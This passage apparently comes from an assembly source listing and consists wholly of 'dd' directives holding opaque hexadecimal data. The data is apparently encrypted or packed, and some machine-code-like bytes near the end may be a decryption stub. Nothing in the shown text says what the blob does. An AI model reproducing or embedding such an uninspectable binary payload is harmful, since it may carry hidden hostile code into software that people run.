dd 3C749435h, 9F697BF9h, 15661127h, 1569053Dh, 1F8F4432h
dd 0DE662232h, 86BA6B69h, 71CF0B2Dh, 1E84B49h, 75662232h
dd 156616DBh, 21646232h, 0F0D6F1FAh, 1566A43Dh, 42071132h
dd 0EA99778Dh, 4A9D6DCDh, 15C2CBCEh, 1D8F1132h, 0AB668832h
dd 3921A900h, 46A9A7E0h, 9D66A463h, 0F6B6D1D9h, 3D67AFB2h
dd 198F79EBh, 5B661132h, 63E53E23h, 0A51C3364h, 44FA2D42h
dd 0E23B4867h, 1A8F0FEFh, 15664CB1h, 17E12D32h, 75661132h
dd 68FE853h, 0EB664432h, 677772Ch, 0F0E0789Eh, 3D9C2EA2h
dd 74C32DFFh, 4CDE4CF0h, 747D7EE2h, 15993765h, 0EC474432h
dd 94421EB9h, 156615F6h, 15686132h, 5B514432h, 9F6010F3h
dd 163D8371h, 0F86CC1E6h, 3937FA64h, 0E64F592Bh, 94AD386Ch
dd 0C4AD9F1h, 12ED4B49h, 1A662232h, 156610BFh, 90ED7132h
dd 137669D7h, 1573A63Dh, 58F1132h, 45668832h, 192D83B6h
dd 0F45B5A51h, 66257006h, 9ECFEB39h, 54E19A7h, 1572CB34h
dd 0F4D01132h, 4C20224Dh, 0C34972F0h, 0B7E99D0Fh, 7CF27D5Bh
dd 0A8E5CFCCh, 13766E2Fh, 4DE22D33h, 0EC661130h, 97695009h
dd 15664411h, 156DCA52h, 39D61132h, 0BACA31B7h, 0A1B58F6Fh
dd 4CCC9658h, 0BDB99054h, 0C65FE97Ah, 0ED98C23Dh, 409EDDCDh
dd 0EA99EE8Fh, 488889CDh, 0B075FE52h, 0A2690C21h, 473570FBh
dd 0E2EE3984h, 0B789C468h, 0FC3DDABAh, 1566113Dh, 6CBF754Dh
dd 1E597302h, 92F79D0Dh, 0BFA9CE5Bh, 0F9E5E952h, 317ACD36h
dd 15662289h, 9F951032h, 1A06D339h, 0AB06848Dh, 6D5C2B9h
dd 0C750BB88h, 4707E914h, 0FBE6CE84h, 95B8D498h, 84D6E0F4h
dd 1A3C7802h, 15664FB1h, 1560CB32h, 0C461132h, 0F9BF5E81h
dd 1AD41654h, 9E00F312h, 0D1E73526h, 15668830h, 156657DBh
dd 93CD5432h, 3527EE75h, 6D527A5Bh, 9114C6h, 0BDDA64D5h
dd 18FD93Ah, 9C668832h, 0C4150A6h, 0E5C18CAAh, 947D9E9Ch
dd 0AA589F7Fh, 0BFE3CFF4h, 157CA03Dh, 0FC061132h, 15668835h
dd 6480C4E9h, 0FC13D649h, 15661135h, 8B4816F9h, 744CA229h
dd 6CB09B63h, 0DE6764DAh, 949DA16Bh, 0FD1F92D9h, 0AC37DA47h
dd 15661136h, 7AE063B3h, 0DE4F4240h, 7AE0E1B3h, 0FC3F1740h
dd 15668838h, 0DF3998D4h, 0F2A8A65Bh, 9069E6CBh, 1566883Ah
dd 1564C43Dh, 74062232h, 0D657C903h, 1C8F5003h, 0A0664432h
dd 7053C96h, 0CBC5327Eh, 0AD367199h, 15664430h, 11EDE433h
dd 11A29216h, 156B033Dh, 1D8F4432h, 0E0662232h, 0C0EC3943h
dd 9C4D0844h, 56CD587h, 90A1D734h, 13763B2Fh, 15668833h
dd 0E2D94B52h, 3B3C098Ch, 9D697057h, 15668838h, 1A072452h
dd 156622B7h, 41367032h, 15628D6Ah, 0D5E54432h, 3162A536h
dd 14E41E6Eh, 0EC668832h, 15664ADBh, 65A94C32h, 468A35E6h
dd 1946F604h, 9E80BA94h, 9C31062Eh, 11A190D5h, 96668832h
dd 29E140F5h, 9D697E16h, 1566113Ch, 156681DBh, 0AFAA5532h
dd 0BF946DACh, 19ED4D89h, 0F6EFDB16h, 156287B3h, 0D6E52232h
dd 317A9636h, 9C30706Eh, 11A0C5D4h, 96662232h, 0EA3015F4h
dd 4B62AC46h, 494240BDh, 0F7EF70CBh, 1562D3B3h, 0AD368832h
dd 15664436h, 923EE033h, 0EC3A3526h, 0EABC6BDBh, 1A0624CDh
dd 156622B0h, 0FBAC9032h, 746126D5h, 4007BF86h, 0C868E28Fh
dd 0A1AB9059h, 5008302Ah, 942B91C5h, 17872AC7h, 488838A2h
dd 157461CEh, 300F4432h, 63BE8B0Dh, 0AE0EE6FFh, 0B7721928h
dd 1EE80C82h, 0A5829561h, 15D13D37h, 4ED18CCAh, 0EC9F2452h
dd 0FFDE4453h, 0E0CC705Bh, 0CADED864h, 147FE94Dh, 4D620676h
dd 6AB93C6Ah, 7506919Fh, 0AB0025CAh, 43070289h, 4F36AF8Ch
dd 4B96A151h, 0AB63BC1Bh, 0EC057862h, 1561953Dh, 0A5068832h
dd 0E3D14BFDh, 7D317053h, 7C1A44A6h, 0C089096Dh, 0E2634670h
dd 5091A3EDh, 9CFD94DFh, 0C54FD7C8h, 1576AD68h, 3F5E2232h
dd 0C993B5C8h, 0E26F3A06h, 3340D636h, 0E0CD19C0h, 10869862h
dd 15668836h, 926284B1h, 31ED0636h, 94007116h, 0A499E9E4h
dd 9ED25D7h, 0F0EF7716h, 1562D4B3h, 0D0E58832h, 314AC336h
dd 1560CB6Eh, 0BD1F1132h, 0F8F1E326h, 316ACFCBh, 9483AB67h
dd 156615F7h, 11A30B32h, 494268B5h, 3152A9CAh, 94839867h
dd 15668CF7h, 11A3C732h, 49420EB5h, 0F6EF42CBh, 15623260h
dd 0C6674432h, 11A5A168h, 49420DB5h, 0AF06E8CEh, 3FA5A98Bh
dd 0EFD92D53h, 0C9EDF853h, 0AB0677CDh, 3E9806ABh, 37E3E553h
dd 10600694h, 75668832h, 9EA1FB3Dh, 750643E4h, 0DAE777C7h
dd 740739D5h, 314AC564h, 40B4F9Fh, 94420DB9h, 15668CF6h
dd 0B8A5C532h, 1A774F5Fh, 156610B6h, 40307432h, 1566408Fh
dd 4888AB32h, 1A38E233h, 156691B1h, 1572AD32h, 6C632232h
dd 0A61655A6h, 13756B2Dh, 18E1F1FBh, 0FD578F06h, 0AC3751C6h
dd 15668832h, 0C65B533h, 94422EB9h, 156615F6h, 1EE88732h
dd 75664432h, 4B67F8B3h, 0DBE64ABAh, 90EDE923h, 137669D7h
dd 157BA03Dh, 0FD061132h, 15668822h, 9C4A30A7h, 0CC7244B9h
dd 87505EB0h, 313B942h, 0DFE7226Dh, 9E075808h, 54E4CA7h
dd 429A7D34h, 6210858Dh, 0D2E76D39h, 0E1EE980Dh, 0FC397633h
dd 15664420h, 30C4519Eh, 258E4C88h, 5E0BF17Eh, 0AC842AC0h
dd 0A8E5E971h, 1376059Fh, 0FEE28733h, 1A664437h, 156623B1h
dd 0CD5DE832h, 155A0A3Dh, 75064432h, 15662FDAh, 23838532h
dd 0ABFF4BDAh, 0F5A46F2Ah, 1A3FBCE8h, 156611B9h, 0AA00E932h
dd 2E07403Ch, 52E02DE8h, 75661133h, 0E6D98752h, 0E12796B3h
dd 0AB077494h, 5993B4E4h, 0A0EF7053h, 13764EA3h, 9F694352h
dd 15661133h, 37FB03CBh, 75605394h, 0ED3F7452h, 2CF7AE53h
dd 4007EFB0h, 287D378Fh, 310A2316h, 49674C22h, 79E78416h
dd 0E154816h, 9369060Fh, 15661133h, 103A61CEh, 0E0064432h
dd 315AA953h, 94819865h, 15668CF5h, 11A1C732h, 49421EB5h
dd 12E11ECEh, 1A668832h, 156645BDh, 90A1DB32h, 1376059Fh
dd 15668833h, 16E54B52h, 73662232h, 18FE3B9h, 73668832h
dd 0D4FAAD62h, 0D9535442h, 9E7678ACh, 0EF9D39EDh, 74F9A019h
dd 45423EB9h, 1163F1BBh, 10668832h, 15664436h, 494226B5h
dd 156619DBh, 0B27AA032h, 994A0DECh, 316AA9EEh, 94839867h
dd 15668CF7h, 11A3C732h, 49420EB5h, 156A933Dh, 92698832h
dd 15664434h, 1566A73Dh, 21ED1132h, 0F3EFDE16h, 156282B3h
dd 0D3E72232h, 15661136h, 4942BCB5h, 0F0EF11CEh, 1562E7B3h
dd 0D0E51132h, 314ABB36h, 26426803h, 1A3A061Eh, 156609B4h
dd 15756132h, 4344432h, 0B071A860h, 0BE9C6A3Dh, 0AF427298h
dd 30E334B4h, 0C24CCBB1h, 7306EECDh, 0E98B858Dh, 0A8E5BC53h
dd 1376082Fh, 4AE21E33h
dd 0FC668836h, 15664422h, 0D24057F3h, 8A71E53Fh, 502D2646h
dd 95B0FCB7h, 3883BF19h, 9E9A1722h, 56CADBFh, 0FCE7B834h
dd 2165F19h, 46B9F8B3h, 0CC67B117h, 46B985B3h, 0D4E71B17h
dd 2166C19h, 15668DDBh, 46CF7C32h, 0AD36BAEFh, 54A63281h
dd 206E68F3h, 0E6D4FF16h, 3C3EE333h, 318F90CBh, 1A55193Ah
dd 156645B0h, 0AA31DB32h, 338E19DEh, 1D8167B3h, 0EC4F62DAh
dd 0AA00426Dh, 0CAE79558h, 59FF3807h, 0A1361653h, 868AA2D2h
dd 0A53EF7BAh, 4F96B896h, 1568C73Dh, 1C8F2232h, 68661132h
dd 0C9D7EEBCh, 0FDF513A2h, 0DD57DA98h, 0DD57D003h, 9C6923CAh
dd 15664435h, 1567A13Dh, 429E1132h, 0AE356FBBh, 15664436h
dd 963DFD33h, 29E115F5h, 9A69D416h, 15664429h, 15ED2D52h
dd 0FD661132h, 1566883Fh, 68C8CA07h, 4ACDB712h, 0C7D1D7F1h
dd 0EA07D2DCh, 943D6006h, 156626F6h, 19EDE832h, 0F3EFDE16h
dd 156282B3h, 0D3E72232h, 15661136h, 4942BCB5h, 3152BBCAh
dd 11A2A16Ch, 1C8E7152h, 50668832h, 7FB95A1Ah, 0AD019C7Ch
dd 0FC07E86Ch, 15668822h, 771F4FA3h, 8D117689h, 0F6A076DEh
dd 0CBC1941Ah, 0F6EF1753h, 1562E1B3h, 0D6E51132h, 317A0F36h
dd 0FC4260B9h, 15662238h, 0F443E27Dh, 830ACBBEh, 0B78FDE76h
dd 0E999DDEAh, 0B34494F5h, 15648E25h, 7D9A4432h, 15661629h
dd 9C423DBBh, 488D01C7h, 940024CAh, 74F8E9D0h, 1A68A73Dh
dd 156689BFh, 0ECE6BC32h, 39E52DB2h, 0E0661132h, 1E0963B3h
dd 0FEE74589h, 755614D9h, 0D6E7DA33h, 7556BED9h, 1E0987B3h
dd 45932389h, 0EA99EE8Ah, 4DA5A1CDh, 15E1ADC7h, 479E2232h
dd 0E7E63780h, 12844823h, 0E330AEB2h, 95A4DCE8h, 0D4E639C0h
dd 95B7A0A9h, 753CDFDBh, 156627DBh, 0ED024932h, 9B69A544h
dd 15664433h, 9A6943CEh, 15661133h, 3FF3E0CBh, 19EF4432h
dd 317AD516h, 4034ED6Bh, 0F20ED18Fh, 0D0A3C56Bh, 9412D218h
dd 6247CF7h, 0F0A7CD7Bh, 148BC53Ah, 9C8CF7B9h, 0C4474CD8h
dd 749AE868h, 562F87B3h, 0DE4F00CDh, 562FA863h, 0DE4FAACDh
dd 9400246Bh, 0AE924FDDh, 3E157A15h, 0F0E30353h, 0FC60541Fh
dd 15662239h, 293F2932h, 16E8B808h, 9E7DC82Bh, 54E7FA7h
dd 12E81E34h, 75668832h, 9EC585B2h, 0D18F43ECh, 0E999EEC9h
dd 0B3440DF5h, 15644225h, 1A062232h, 156613B4h, 7307E832h
dd 368AAB3h, 118AA153h, 9C423DBBh, 488D01C7h, 156654DBh
dd 6D1C4D32h, 3ACC7F78h, 0A995B048h, 9F974175h, 1BD02DC6h
dd 0C4D11E52h, 959F0853h, 153AC73Dh, 0EC062232h, 3AD84753h
dd 142B7338h, 0DE671AC1h, 1F49C9B3h, 128F5CC9h, 36668832h
dd 0DA204CFBh, 0AA318EEAh, 0EA99EECDh, 0ED39731Bh, 15B7ADCBh
dd 0FC062232h, 15661121h, 2A5EBE87h, 0C35968F0h, 0A4331CBFh
dd 0A951A623h, 0FC80BE19h, 15664435h, 0D0C18BB6h, 7404BE99h
dd 13D8EE52h, 0A7342547h, 1384E215h, 190EA162h, 0EB6DAC01h
dd 317660FAh, 3DB42686h, 0D7E649F0h, 70AC08EDh, 3D74B6B2h
dd 9B6978E3h, 1566113Ah, 1564013Dh, 74064432h, 0FCE7F3C5h
dd 0EA99EECDh, 15668DDBh, 7AB98D32h, 0F9E52FCCh, 317A9836h
dd 40027589h, 46ADC531h, 944C2E60h, 0B060ABF1h, 9E8D095Ch
dd 942FC915h, 176C7FF9h, 32AD9033h, 94516F17h, 0E218C4D9h
dd 4EBF0345h, 15661FDBh, 38048B32h, 16B72CDFh, 88ED9CB8h
dd 409D4FD5h, 28269B8Fh, 488D6D57h, 0D6E7E91Bh, 705B5121h
dd 0D6E7EE52h, 0AC00829Fh, 9E07EED7h, 54BF4B7h, 15616134h
dd 72574432h, 0B2F1F787h, 1563F8A1h, 97F78832h, 9ED4E7E5h
dd 54E7FA7h, 1C8F7134h, 0CF668832h, 9A321798h, 0FDA9F4D3h
dd 1564923Dh, 74068832h, 8DBC753h, 14603218h, 0ED53953Dh
dd 940677CDh, 35F404D0h, 74979752h, 9769C909h, 15668825h
dd 156EC43Dh, 9B692232h, 15661130h, 0C65FE952h, 0FBB8C23Dh
dd 459FDDCDh, 0EF0C898Ah, 0A45854Ah, 53631D73h, 3CE026B2h
dd 1B8F49F4h, 0A668832h, 8330835Bh, 32C974CCh, 3445BBB8h
dd 9E3070DDh, 0D1E5603Eh, 156FCB36h, 311E1132h, 0C4E101B2h
dd 943BA932h, 321140F3h, 429F381Bh, 2E181A8Dh, 0C5A1C528h
dd 3C68C9CAh, 9B694ECBh, 15668833h, 7612CCBh, 9EF2232h
dd 1563AA16h, 0CC4F8832h, 78F2469h, 0CB662232h, 624A4B85h
dd 0B3CB9B32h, 2BF9C58Fh, 0AD3A01C5h, 0A507E895h, 1D86481Dh
dd 258FF260h, 0FD0678C2h, 15661137h, 1212CEDDh, 4E072496h
dd 0CBD92D52h, 74A89A54h, 1A932253h, 15665AB5h, 0DE22D32h
dd 0FC661132h, 15668821h, 3AFB47C0h, 4EEBD785h, 0F711DFA6h
dd 6CAC47DAh, 2448F631h, 24A713FAh, 0FDE771FAh, 762E85E8h
dd 0BE07A5B8h, 15662BDBh, 27565F32h, 6075E02Dh, 0F78FD912h
dd 7599DDE6h, 9BD9054h, 74B83FB7h, 1566FF61h, 0E6672232h
dd 9ED12B8h, 11A20B16h, 1568CD3Dh, 1C8F2232h, 0A2661132h
dd 49F8C122h, 0C6CE4AD7h, 1A8E1ECBh, 15664FB6h, 0A6D8E832h
dd 0ED55FE98h, 9E004253h, 74DFA4C8h, 250AE061h, 5E3D651Eh
dd 0F6B7F9C5h, 75B0D2B3h, 0CDEFCA6Ah, 964258B9h, 48F26F6h
dd 83661132h, 64503406h, 7FE2D119h, 0BE7A6ED7h, 488C0ED6h
dd 156686DBh, 192C2232h, 0CAC03D62h, 840FE050h, 0FCBC9C3Bh
dd 156645F3h, 1567A33Dh, 409E1132h, 0D0E76DBBh, 15664436h
dd 1562CFB3h, 39E11132h, 9EFD416h, 1561AD16h, 0AEA52232h
dd 0A5502CA5h, 9C35DD4Eh, 4EBBCDC1h, 1A3BC9BBh, 156609BAh
dd 15756132h, 53D94432h, 0E45DA6F6h, 0DF9F7152h, 82069651h
dd 22C0C3BAh, 14DC70D7h, 94661132h, 0D6C18F0h, 94944563h
dd 0D6CB2D8h, 4F7C1263h, 156682DBh, 17EDF132h, 0F835DB79h
dd 0FC173C4Ch, 15668826h, 4945B30Ch, 5A4C858Ah, 0FBBFA9FCh
dd 0E101B25Fh, 554D6233h, 15639860h, 0C6671132h, 94429CB9h
dd 156640F6h, 1C8E4232h, 61661132h, 41810BEFh, 1C0A88B1h
dd 4EA79D3Dh, 1576983Dh, 1E8F8832h, 7B664432h, 0D13D3F9Ch
dd 98B4849h, 44071808h, 0DDEEAC83h, 96422EB9h, 18F15F6h
dd 71668832h, 0D616F093h, 0F9A12D13h, 611DE036h, 87833008h
dd 0BF39D32Fh, 4B9F7552h, 4407C8B9h, 9827D48Bh, 32A7C50Ah
dd 946A276Bh, 0FEF1FCF3h, 4CADA1EDh, 0D6E7BF1Bh, 31181042h
dd 15661BDBh, 0CAF02132h, 6F3EC2E0h, 42C7FD09h, 1562AA61h
dd 0CAEF8832h, 4A9D6D69h, 156AA23Dh, 90691132h, 15668834h
dd 1566C53Dh, 0CD572232h, 0CD57D203h, 9C6923CEh, 1566443Eh
dd 1560A73Dh, 98691132h, 15668832h, 4E4270CDh, 1562E6B3h
dd 58F1132h, 0E668832h, 85470EFFh, 0E2C119D0h, 0E6404850h
dd 4566FAE0h, 1566418Ah, 7F88A332h, 14658A1Dh, 7FA009F4h
dd 4D65DF1Dh, 15662BDBh, 94545B32h, 5D4B1734h, 0AF3426D7h
dd 15662233h, 1EDC1BBh, 11A20B16h, 156641DBh, 88840832h
dd 138F08CAh, 0F8668832h, 64D3AF76h, 7D9AE1DAh, 1566283Fh
dd 1A4284BBh, 156648B9h, 13E02D32h, 1A661132h, 156688B4h
dd 23992232h, 3162A954h, 0FC64D5B1h, 1566883Eh, 9AA7B151h
dd 0F4820A6h, 1E0CDBA4h, 91694B0Eh, 15664521h, 1AAD1ECAh
dd 15671BB6h, 0D75A7432h, 1405C03Dh, 75062232h, 0FC074962h
dd 15668823h, 64A325Bh, 4C14776Bh, 7B397164h, 0D8698F57h
dd 0DF5A25C4h, 1459A63Dh, 138F1132h, 4E668832h, 728DCADAh
dd 0EA5B442Dh, 74E21E17h
dd 75668833h, 9FAFF33Dh, 1E8F43E5h, 7D661132h, 79CBF952h
dd 5868F46Ah, 28002CFCh, 9069EE1Ch, 15668868h, 9480CE52h
dd 3393B8D2h, 9A0E707Ch, 9C66887Dh, 17DD602Eh, 14662232h
dd 4E659BC1h, 0A037EECBh, 738E64C2h, 94422EB9h, 156613F6h
dd 15746132h, 0E1964432h, 0E6C1151Ah, 0E2095F2Fh, 27205D28h
dd 65EB0CF7h, 9169820Eh, 1566107Ah, 156E0B3Dh, 9C694432h
dd 15662230h, 19ED7052h, 0F2EFDF16h, 156283B3h, 0D2E72232h
dd 15661136h, 4942B4B5h, 150EBCCEh, 9E662232h, 0D1E53536h
dd 156B6136h, 0BFD4432h, 3375219Ah, 4A3BCAB7h, 0FC5FDBF7h
dd 1566459Ch, 1E8F42CBh, 0A0661132h, 198E716Ch, 0E5AC905Ch
dd 2407B579h, 1A8E71FBh, 33668832h, 2A38C7ACh, 0FCC7115Ah
dd 9FDED841h, 1A39D8F7h, 156642BCh, 15EA2D32h, 74661132h
dd 25853664h, 0FBE721A2h, 26840CBDh, 6458DFB3h, 0C391824Ah
dd 9463A2F3h, 0DB09FDC4h, 4B97384Dh, 157761CEh, 2FA24432h
dd 8D8115DAh, 8A855A0Eh, 0EA9CEF12h, 0FCCAA068h, 15662287h
dd 16DB44CAh, 45668832h, 0D4EFACBBh, 1E8F7F6Ah, 0FF661132h
dd 0EC8A825Ch, 690713CCh, 878F4277h, 1A661132h, 156687B7h
dd 156CAD32h, 6E982232h, 3D356F09h, 289CD51Eh, 11E92C65h
dd 0E239666Ah, 639190E5h, 9CDD2FC9h, 315ACFCBh, 7562E6B1h
dd 15661BDBh, 7B0AD332h, 221B2B46h, 0FDE30AD0h, 1566113Fh
dd 7655AA4Ch, 0A98B523h, 9B1CBF76h, 1568F8D7h, 0DD5E8832h
dd 63D31AEBh, 0F6EC8492h, 16F0B4BEh, 3F8FE96Dh, 0E9664432h
dd 45240A8Bh, 0FAAF9018h, 430B0C0Bh, 7C1D048Ch, 4D88A37Dh
dd 24B985CDh, 0FC9ED6C3h, 1566443Bh, 10AB4E22h, 0A639CA3Dh
dd 75C27BEEh, 1D8F8180h, 82662232h, 5C011487h, 74952EB9h
dd 749E2452h, 48EBA953h, 0E960011Ah, 906941B7h, 1566442Dh
dd 156EAA3Dh, 9A691132h, 15668830h, 98692552h, 15662236h
dd 743C4152h, 3D3B3DBBh, 9E9F4222h, 9C37063Eh, 11A790D3h
dd 94668832h, 156640F3h, 316AA532h, 0E3E6716Eh, 0D08E0982h
dd 7420CC80h, 5C5C9D65h, 0C2917A7Eh, 399D47B3h, 0D2E73794h
dd 1D2E6330h, 1A39E9BBh, 156689B2h, 75A5B832h, 0D63ED89h
dd 17EF1E13h, 43668832h, 0FD062568h, 15662221h, 505BA53Eh
dd 0DB37A735h, 0AF26F418h, 86A44618h, 0AF236297h, 73D595B9h
dd 16EA4B68h, 95662232h, 7D07E9E8h, 156697E3h, 0AF4250BBh
dd 15662232h, 9E00E333h, 299FD230h, 2AE24BF1h, 0ED662230h
dd 1573903Dh, 58F8832h, 8B664432h, 0CDAFF13Ch, 0B8CEE9A4h
dd 0B7DEB96Fh, 47EB15DEh, 9DA5AA61h, 0C6EE4AE8h, 14EC8768h
dd 0ED664432h, 0EBFF9363h, 6BAF91FBh, 359449B2h, 0FC061DF9h
dd 15662222h, 5440C8Dh, 5DB8CCF8h, 7C6264Eh, 70E652E9h
dd 156603DBh, 0E8304432h, 3C9AA058h, 1BE979ECh, 622F5A80h
dd 744ABAC5h, 1A16BFB2h, 15620FB6h, 0FC5AED32h, 14A20C3Dh
dd 75064432h, 9A69E8B8h, 15661132h, 15746153h, 11C94432h
dd 8BE77838h, 82E794B6h, 0FF529C81h, 28082336h, 1A8D1E53h
dd 156788B6h, 198FE832h, 0BE664432h, 600F5FB3h, 31031C0Ch
dd 742ED8EDh, 0F7E72252h, 9400E721h, 74EC45F9h, 91694A0Eh
dd 15664540h, 156629DBh, 55023132h, 1195085Ch, 3D9DCBBCh
dd 9169E90Eh, 15661068h, 156686DBh, 841CCA32h, 905CB9C6h
dd 8C46C095h, 75C8E35Fh, 156649DAh, 4D6FEF32h, 0D562CC15h
dd 0F63903A2h, 0AD0008E1h, 743837D4h, 30992C54h, 14420C3Dh
dd 9C694432h, 15662227h, 0FC077152h, 1566883Eh, 0D71C5DDBh
dd 7728646Bh, 61BE96B8h, 1AACB453h, 156745B6h, 94004232h
dd 748B08EAh, 91696B0Eh, 15664760h, 94007552h, 4E4DEDE4h
dd 1560063Dh, 90694432h, 15662232h, 3B5B7753h, 68E387CDh
dd 75664432h, 45B5A954h, 949F7069h, 15668CDEh, 3172CD32h
dd 15662088h, 9F941032h, 0E906D230h, 749DF33Dh, 0E3F89161h
dd 95ADEFE1h, 0FEE60AD9h, 0D1D614EEh, 8B4A7916h, 9752833Eh
dd 0D6564A36h, 4EBE646Ah, 15E82D52h, 0FD661132h, 15668823h
dd 5F251E0h, 0FBFE7B7Eh, 7D92A10Ch, 41BBBF9Ch, 0E5D14B93h
dd 0B55A4368h, 150E953Dh, 75068832h, 19ECACB3h, 1A071546h
dd 156613BBh, 74950232h, 0B578558Ah, 1B492F6Ah, 382627A5h
dd 758CBD61h, 289CFD63h, 0CC911A64h, 5197D0B3h, 0E4E7ECD8h
dd 730641D1h, 253FC3B3h, 0E4E76ABEh, 6E3CB9C6h, 0E23F8C13h
dd 0CA7D0FE2h, 0A306FF01h, 6A609F4h, 740704F1h, 15667BDBh
dd 0FC06ED32h, 15668837h, 5BF790F9h, 0A0EF4389h, 1376396Fh
dd 0D8FB05CAh, 1A60529Ch, 15662FBEh, 156EF832h, 0DC88832h
dd 2FA537C9h, 9969AD2Fh, 1566113Fh, 156680DBh, 2CDEEA32h
dd 51776EDAh, 0E0B5EE2Dh, 1422E067h, 39ED1240h, 11A2A116h
dd 1425FCB3h, 0FDEFDE40h, 0FCA5B86Fh, 1566223Fh, 9C69B2D0h
dd 42835F76h, 0CE7FFCBCh, 0F0EF7743h, 1562D4B3h, 0F8E78832h
dd 15664436h, 49420EB5h, 754215BBh, 0EA0750B8h, 11ED5444h
dd 11A2A316h, 75661132h, 157560CEh, 0EF694432h, 5C2BE9E5h
dd 40462C83h, 97116631h, 66F40FFFh, 5F84A3FAh, 4F07309Ah
dd 0F8E30153h, 0FC605413h, 1566223Ch, 23E37235h, 0FA461FFAh
dd 0C9F92B94h, 219978F4h, 0D1E74916h, 15668836h, 1568AD52h
dd 6D0C2232h, 470417E8h, 0F28006CFh, 0F81D3C73h, 157EAC3Dh
dd 68F1132h, 7D668832h, 57E7127Ah, 14101632h, 55BCAB62h
dd 0A741476h, 4407883Ah, 4A529D65h, 0D2E736A8h, 0CD0328DAh
dd 1439BDBBh, 1A9A7BFCh, 156601BCh, 156D6132h, 0CD1B4432h
dd 0CBE0E2D8h, 3C3B84A8h, 60DB054Fh, 1A605436h, 156623B4h
dd 0FCCBE432h, 1566883Dh, 0F022E3C0h, 4996C794h, 0B27790C5h
dd 0FCD7B74Fh, 15664437h, 91A881A1h, 0FE21407h, 7F4B9A1Ch
dd 160AEB3Eh, 10420676h, 79C91D58h, 3B7C0C1Fh, 14E54B20h
dd 0ED662232h, 1BEC1E99h, 75668832h, 1566C53Dh, 96692232h
dd 15661132h, 24DB0553h, 1A60543Bh, 156623B8h, 0FCCBED32h
dd 1566883Fh, 0D227F8E7h, 15814D0Ch, 6DDE2611h, 68318D0Ah
dd 304B0DCCh, 16580372h, 10423576h, 2B47C817h, 0EB1B131Fh
dd 0C6E7427Bh, 3355C974h, 74B00354h, 154EFF5Ah, 3162AB32h
dd 156A973Dh, 98698832h, 15664434h, 1566AF3Dh, 0FCCD1132h
dd 15668821h, 0DDE93D3h, 0A81F5EE7h, 897ADEF8h, 37DE39B8h
dd 9873D5EFh, 54C578Fh, 156EF834h, 81908832h, 521BFBC9h
dd 0FCCB798Eh, 1566113Bh, 0A21DA2A9h, 0ADBFBE43h, 21F60F88h
dd 516563C1h, 0A833A016h, 679570A2h, 0FC3BCA33h, 1566113Ah
dd 83C4029Dh, 4BACC650h, 14EA2D99h, 0ED661132h, 4B42BCCDh
dd 156280B3h, 44062232h, 0CDB1C58Bh, 0FFD8D014h, 741C3EF3h
dd 9C31DBF1h, 11A190D5h, 96668832h, 29E140DDh, 21EF7E16h
dd 1563F816h, 0DB08832h, 754917E1h, 73AEA954h, 74CB818Bh
dd 0B89215BFh, 0EA9A4224h, 8FD7E1h, 0F9FFFFCFh, 0D24ECEDFh
dd 0FD4AA86Ch, 51A2458Ah, 2EC0D5F2h, 96A452F2h, 152AA8EDh
dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
dd 60D554A8h, 59D7BA86h, 665ACE25h, 0DCF1439Dh, 25E1332h
dd 0D871BA8Ch, 42C3A8EDh
dd 0AEA2458Ah, 60D558DDh, 0D138C882h, 462C43DBh, 25E5DF07h
dd 0C6D552BFh, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh
dd 57B53606h, 52B0D9FBh, 0AEA452FEh, 0E96FDD7Bh, 51A25863h
dd 195FABA8h, 0DCAA3075h, 259CC32h, 0CB2F168Ch, 133D20EFh
dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h
dd 0EB000030h, 0F392C00Ch, 6572F355h, 0D690955Eh, 662E992h
dd 56E90000h, 14000006h, 0FC7B2F72h, 0CA510D44h, 0E76EEA23h
dd 0C4530744h, 7F6DE120h, 0E01FD103h, 0FB3CED6Ch, 0D712B83Fh
dd 0F62BD463h, 0B6754742h, 6BDB050Ch, 32410BE8h, 0DE504479h
dd 7CB90900h, 15D6DCCh, 0E5BB6FECh, 38EC083Fh, 0C3AFF0A1h
dd 9D4620C4h, 0EA77755Fh, 0EB070E5Dh, 6B173B37h, 8D79B86Ch
dd 421C590Eh, 4CD56D1Ch, 1C0F6DCCh, 6DCC4CA6h, 382AE23Eh
dd 0CC4CF151h, 3D19156Dh, 0E9835E20h, 8BA4F305h, 323D03CBh
dd 0B13256B4h, 0B126D558h, 0BEDB56ABh, 0F03256D5h, 9F0AD95Fh
dd 1963B725h, 7F77FC06h, 5DB9464Bh, 0B1325C47h, 0CF66E257h
dd 0C83A541Dh, 59CA9B64h, 5E983EAh, 0F1B0A4F3h, 7AF29D11h
dd 0FB2375FDh, 6D348C17h, 3FD525FBh, 9EADFDF5h, 2291627Ah
dd 7ACFB734h, 29B723ACh, 7A1A20ADh, 277975FDh, 0F3A6987Ch
dd 0FFA073EAh, 0E983F296h, 8BA4F305h, 26BD8DDBh, 8D0617A6h
dd 182DB18Dh, 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h
dd 754904C7h, 0EE9F6h, 95A70000h, 0CD5292D8h, 96123D9Bh
dd 304D9092h, 48150F8h, 5F606824h, 0BE565826h, 265F6068h
dd 605EF029h, 0F961C78Bh, 158DBD83h, 75000610h, 95BD8309h
dd 61000h, 53501974h, 11B8C08Bh, 89000004h, 10132D85h
dd 7C9D8D06h, 0FF0612B8h, 83585BD3h, 100095BDh, 17740006h
dd 11B85350h, 89000004h, 10132D85h, 1D9D8D06h, 0FF0612B5h
dd 60585BD3h, 42B7C3BFh, 0F2BF0F46h, 5E961h, 0BA530000h
dd 682C55FBh, 1C44h, 58240489h, 18F0Fh, 60FC0000h, 81CA8B66h
dd 9E937EEh, 0E8F86118h, 6, 0DF62F50Ah, 8B6688CEh, 0C3815BF0h
dd 72CCh, 1C8968FCh, 0F5A0000h, 683h, 0E1E68100h, 8B1FEF3Fh
dd 0AE83Bh, 0E1E30000h, 53BEA2E2h, 2A180768h, 8159C78Bh
dd 410951EFh, 0CB8B665Bh, 78F4C781h, 13E860A3h, 0F3000000h
dd 0E344A5CAh, 0F6A95526h, 7059532h, 0ABF2366Fh, 0EE8AC562h
dd 0DBC7815Eh, 812ECA4Eh, 8F54B3E6h, 0DD805769h, 83038FC9h
dd 0C78B04EBh, 1EA81h, 850F0000h, 17h, 0E9C38B66h, 20h
